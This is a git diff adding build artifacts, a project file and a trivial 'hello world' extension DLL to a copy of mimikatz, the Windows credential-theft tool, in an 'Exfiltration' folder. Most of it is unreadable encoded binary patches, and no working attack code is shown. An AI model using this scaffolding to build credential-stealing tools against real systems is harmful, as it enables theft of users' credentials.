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 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.write.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..93f65cf401ae1fe339cae9919b9b29a3846d1f69 GIT binary patch literal 3060 zcmeH}-3o$05QWcm(4!PqcipK;S^kk(5mGPGvsd3L5=LDFLMpKr%bao7IcH~Q_I^9d z)m*uj^0m`SnH;P{u@3UIRSM=QV0b!$8_ZY89Pzyko?}Pavtk1}!e{(GmdzI@{IAGJ z6OCozaak2IGIq#W5n?acCBX0Uw?x;U#uvcDfw9eOczft!;w%+08pYrNF~3LK!J6vfZ8iT{J?d$rX!-uPHnB3~&W4IvVW#S&pl+FHdwzWO^mTUv?_H8CkR zn+**2+&g#f%$z-$;n&S4l~vGCv1;n-y?QEPwbfEzk&e^>i&W={bPR5+rUq@3_#*fa zyQz=#_yD?(&;A-#k%$5QhseGT^;!pb%JgdR^vE!zM+3V;mOB12qqX%?FZ4zez2dv3 zy>+!SUFl5UbV9$j&h=fVx}e%K+Br|8A6ll^ObgnC_%XPvO>|9cR;fLOJq1l+#U;FO zL_khiuL&!?1PvJm*ai4EfqP>(ILhJ!K4s<2OEbrObfzl5_n7UB{qb53c>at31$K*1(M8^T(NS+ zdR~gPtpHD}Rdr78B~DRATHh_hN$XFy0^bm~?+W?pD?feZH^m|UX*}1P;=fdg-w@5} A761SM literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.dll.intermediate.manifest b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.dll.intermediate.manifest new file mode 100644 index 00000000..ecea6f7f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.dll.intermediate.manifest @@ -0,0 +1,10 @@ + + + + + + + + + + diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.lastbuildstate b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.lastbuildstate new file mode 100644 index 00000000..4d281933 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.lastbuildstate @@ -0,0 +1,2 @@ +#v4.0:v100 +Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.res b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.res new file mode 100644 index 0000000000000000000000000000000000000000..f3f1c55f6989ddaca5936969f1eb273119eb8a8a GIT binary patch literal 760 zcmZ{iKTpFj5XE1r3?Mo%vXOxS7F1A$*cd3F3IqsH8Bt41i5ilqO@-i7F?QiIu`pA9 z=VJ8_;OK1U?!9;Cvn46Q#^Z^xog1T)kFSCWT&$vU=s}}Wm2E@Ux??`l6}!4Fbk2XB z`IxJL{3J&?}xC%n($hTVg3V;|loIVoSxXpx_U%Su3PiINSk=KsC$I;{pyR=Rdwf|=PY(%u?IDH0k5q|CVx}Y7a?xYp63lwyY~V8v3r>Iv>d*L E-*;MXYXATM literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.write.1.tlog new file mode 100644 index 00000000..17139b51 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.write.1.tlog @@ -0,0 +1,5 @@ +^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\librairies\kelloworld\kelloworld.vcxproj +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.exp +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.exp diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.read.1.tlog new file mode 100644 index 00000000..46b134b1 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.read.1.tlog @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.write.1.tlog new file mode 100644 index 00000000..46b134b1 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.write.1.tlog @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.command.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..41cc4a20e0a59baf82bd059daf3e2544438cc9fb GIT binary patch literal 2332 zcmds(U2hUW6o%hx6aNF@#;dMY6Jtoc*e@!&EE~2+HN*ylrmH|3Xsa>)_SWajpao)M zFQwU#nR(AUb3W#rGu&K%QmlpsI#5f8dZV5qR)sq1D^*t|SgMRK)e*R1EwveQ_#ya! zb*}g9cn7+N%;YUrA&ig6w~;;VE6_6}8N7%SLqmaf7 zX}yDazsx7|&-%^*zZ#w_owe3;0#2#$%vf#mAjjq=9+kwvV?*qybi$4$RyUbXnOl7B zYh&Pixo|oyK4aDvfeG4Y%+}BM{%l*)!!qmVb*KA^om0Km6ZS4QV!Qw||0?*O`OM~} zW1hgBGM~WkItpqy+JSpMCtjnK&82(CN_}wmlX7E?)%%ffvwcvX!G+6U%kkz0(jtl; z$za6fgYgf^jfglVoVM?f1PwVcv==T$7ILz$j-1yrMpxT)4WA?SE*6|&Z{Gi3H$LBe z4p^SW{1dSHNwNJ%uk>;i0eh)y_sH>u%QEXPoAofGR>v+=17;(A(Kg33j_Dmks@ih% TlJVc{%5|H&cz^E}w-)>Y=!$bo literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..da4e714e2eada07e3ddadd6e75119c1eb6158d53 GIT binary patch literal 3694 zcmds)%}&EG5QOK9#5?o|hem};fVibeS^{lSCH(;u!He+hz_)fwq*et*RM1p8I9_k; zS+8fj`FMX(q+3-QDb-AOnrlFBs$5GYDpX=iH0DY4h}~?dCbSv;A@+)XrUhR-VC^zy z<0-umk7vd=EnQtGP>+!@egkFHzw^(r@yt!Nl>>|@1PmyBoX>vD%jfbT%}dOMum?KbDe$MMSP4>^q`5zT3jC8pG|dL7NFPFDPx5@U`o7&|BGXbAsI z1xnt}(1IIX=^QQ^yCdgY;y;A*9eiR~Y+UxNjTu?G{zBJ|`ypeV{S~`uds;Yd2P(%ip3}jK$|(ZR0K4IgsBZ$i ztp3>#il$mT2T2SDug?3y&}1jpw}NjYZl{UM%%R{p3^Y0Ui8(QLH`|@O-+VPYGgkK( zV6jTi>hoLJ{Q;v1S$M7xK>A)9T*bzSO&pix3SoT1{}MS+MP+@!(|~tM#*owUM(CxU#}uuGHh4od&;kCI4)yUBMj4hx zm7Ul1O0CWswp9}0X>w~}*IlWr-`nmJRNBnIDrqXfACt+d3A9h&NBX39=vpUL=XT)N z$r{jk46jFI1FHkpbImqZg)Z+q?GtxDsVY2UM4s0$3vSU+G5sV9N6_DmhHF$x(qY{+8S zr6r2yl}saMHgfDlZ`pUr z`!{cJJXX;-l;D{X&@KK#*Sh*4A|T361wO9vOpRxPZA=`V zoWBBl=_@sQ*>_)2r9=Z`l52uLC6lq4=z_lQw9qAWt&`Zt*2FK#I-&EFxR#R{Rt?tr znkCkpE{9G#&J9Y%#94&%`M&b$!7K8GbQ@CV80T}HoiyuVj)|YHP20M(?K9;}|AzmP zDVb+>^jV;(sTgV0;xOy?Nd@F|Wbc{VFlV>luQgbw8$YRl4V&@Kbq{J)HsHf%jn)3L vFE!cLbo;T`fb8?FRgzW?&D^HSVPx9@V1_Tlva&ey7+1c5< z+x4tMubQ+|(4f6WZ9tt`o#geV9?q-c^LmFjE~w^g&^!1E+~`Qh0XC&(^#F1xKB#|Z zQsv6Dq*9^V;OIEb*E4U5J~q)ZwD6U-uqWz`)>{3d$WU2V7Ii~RYB{%HOX8{2{59Y* zP8xLi+`eN<%NxsFxNfEU@`V!ZK%>%lT&I;7Sjd5lR%Gq+> l^hn=)Qw2Ix_~`dF&jjD$=h)UU=cmk%did8j`|CSc&O4AiSWf@| literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.command.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..fb31489d33c3b7bae9a4e0c9100fbd38dd76ece8 GIT binary patch literal 700 zcmds!OACTf6oh9T^dG`~?>4nllafrMHzBp?MI;5as9#@wSE5DHItUq#XJ+o)5%0IT zTs0J{C0|3eHIl>DQ>2MJ^)-O=6!3VO!W+(4ml@)>;bZntV@`Bn^Jqr**=!s$^mit& zvI;7p1o#{hZKlcfxGzp~%#Ef)1RtpRg)N}E$||EGo}3o+56N*k*CZ|X#~*(Hb;M~- literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..811b6f949100f90020da726ffa398e2995468e14 GIT binary patch literal 2552 zcmd6p%}&Bl5QWd$#CKq+3y5sgxGT3UHWW%IEyOhP{x6|^GbND_U8tDbG@*BXI&RF9uSZh_{@3ByUE=guB(v=+}82>u4A%{H4-wyc429*Sb1RvBs{L#VRf}Qcg`n zUbDUd|D*18dqfmGw3j+5CY%mY;bv zr`N{&PT+57_;yUSx;Va?=@-6#ef<>Xc5b(NaP|_oIp^vWi|ys*`1%W;2Hd7})7Pc; z?{|0tEH1eMdbBqoKBClB9v?@q96N>LV@cVWIhq-UdfTIR<0`lIuSI|rQ?9-DLtv=( z^Zfv-27K%2JN7k8|AFr(-?#Hqx@Rr6x>MItukKIYVxzKiz14wVQ~A))^?2-m-09c# E1LB}!-~a#s literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.write.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..30d54de61ada193a04a609844a0e34bac58afc2e GIT binary patch literal 414 zcmdUrOA5k35Cv;3c$5S`J9kMOG#C@{7YV`ppF*v6Dd=8i(R96@*YoE2xKpuWWJArF zEf-3=106kyBPUs+@g#2YU^RPd>wF;}?OU$i*hw?B&}+NGi9!97WX#E#sWi@&Iu_RO kP3{}tKCv<0(8(LtUudpcF=g^MDSA`3ELr?W6u%IeUi0%ki~s-t literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.cpp b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.cpp new file mode 100644 index 00000000..d49a1838 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.cpp @@ -0,0 +1,12 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "kelloworld.h" + +__kextdll bool __cdecl helloworld(mod_pipe * monPipe, vector * mesArguments) +{ + MessageBox(NULL, L"Hello World!", MIMIKATZ_FULL, MB_ICONINFORMATION | MB_OK); + return true; +} diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.h b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.h new file mode 100644 index 00000000..daa89733 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.h @@ -0,0 +1,9 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "kmodel.h" + +__kextdll bool __cdecl helloworld(mod_pipe * monPipe, vector * mesArguments); diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.rc b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.rc new file mode 100644 index 0000000000000000000000000000000000000000..312b232e15015e5c81f0382c95b353aa17e00f35 GIT binary patch literal 1886 zcmbu9Yi|-!5Qg8+CjN&b{i2C6Q2PhURpJ&%xu~B=r4&h#C9uRx{O#&9=df&HsS%pZ z-sa4_GwZq%p`l_m_wuZV^4QZ9{mLh#Z(&c%jGLnez=X$0y zZ$HvZYmett&<&{HwFGsgH~NAkXs+=Te4gqp^>|0TFLvU;)k|Wn>*FTwE;06DP=Uh` z4iVQYtbTF1M=g6`T&saao%bac<}u={g|yGR0iN4Rf?kc&ir(opCtbA4kDMEp-2=3S zJZt#q`dqj8Z-P=MYPWZi%FWWD(FDD=r{h$@dvSXQ-46I|xc7;!_g@w%dfhW<5Zx7= zyLyl3A~k(WWh2iaizL$xI>nqu8-#Fn0g7E0Ih`Jz)$zGCKc(Dx$m_0F>Zy!f!{;yX zc6f8X3T>EM>;)o7=t%4J2|1k7uVXCc@QFA58LZ6i5L$K`k<%2_m=rbgj6U-Wou2BZ z?|&nvS_3j2Q7h}O0v=+0)q+`?>j#~2!`~RW^;iM6W8{hF;b1t`H}1pU596mfsQM`# z`P?i#VhnQX=bqCUR}6lP&WyhF7EOY{@@0-ZHlP9He4SvR}YNpTJEyu@}2 zMix(reNx=s$MCgUCmwT7yt73IkKLUH=k*#tIYG&OwVf!W9Z01iKTdU&t(mA|J zIwyBeuWbk4G1*_!nMsc6e%+2?xr=;yjcj99H+v-XXI^4kG@G;mxm`YKa(Cye2b#^+ kie9k(eb{HVfx=wdv{_YbXFc34S+v>L8699fKV_%<1$eLYhyVZp literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj new file mode 100644 index 00000000..b0b3674b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj @@ -0,0 +1,121 @@ + + + + + Release + Win32 + + + Release + x64 + + + + {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6} + Win32Proj + kelloworld + + + + DynamicLibrary + false + true + Unicode + Static + + + DynamicLibrary + false + true + Unicode + Static + + + + + + + + + + + + + false + $(SolutionDir)$(Platform)\ + $(Platform)\ + + + false + $(SolutionDir)$(Platform)\ + $(Platform)\ + + + + Level3 + NotUsing + Full + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;KELLOWORLD_EXPORTS;%(PreprocessorDefinitions) + $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) + Size + true + false + Fast + false + false + None + + + Windows + true + true + user32.lib + NoErrorReport + + + + + Level3 + NotUsing + Full + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;KELLOWORLD_EXPORTS;%(PreprocessorDefinitions) + $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) + Size + true + false + Fast + false + false + None + + + Windows + true + true + user32.lib + NoErrorReport + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj.filters b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj.filters new file mode 100644 index 00000000..42713310 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj.filters @@ -0,0 +1,44 @@ + + + + + + Modules Communs\Communication + + + Modules Communs\Parseur + + + Modules Communs\Librairie Modèle + + + + + + Modules Communs\Communication + + + Modules Communs\Parseur + + + Modules Communs\Librairie Modèle + + + + + {78bbda7e-d41f-4f1c-8aab-9b9471b30a56} + + + {314aff70-fe34-4afa-9341-0ad0a9a9a735} + + + {86a68fa7-1f11-48c7-9821-f5c8bf8b6724} + + + {7790e784-5bb7-405d-8bc7-0a3f5351245b} + + + + + + \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..bcd26b3ce5cb2c8e9b10a4236d9947f73e6e3bf2 GIT binary patch literal 125158 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 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.write.1.tlog 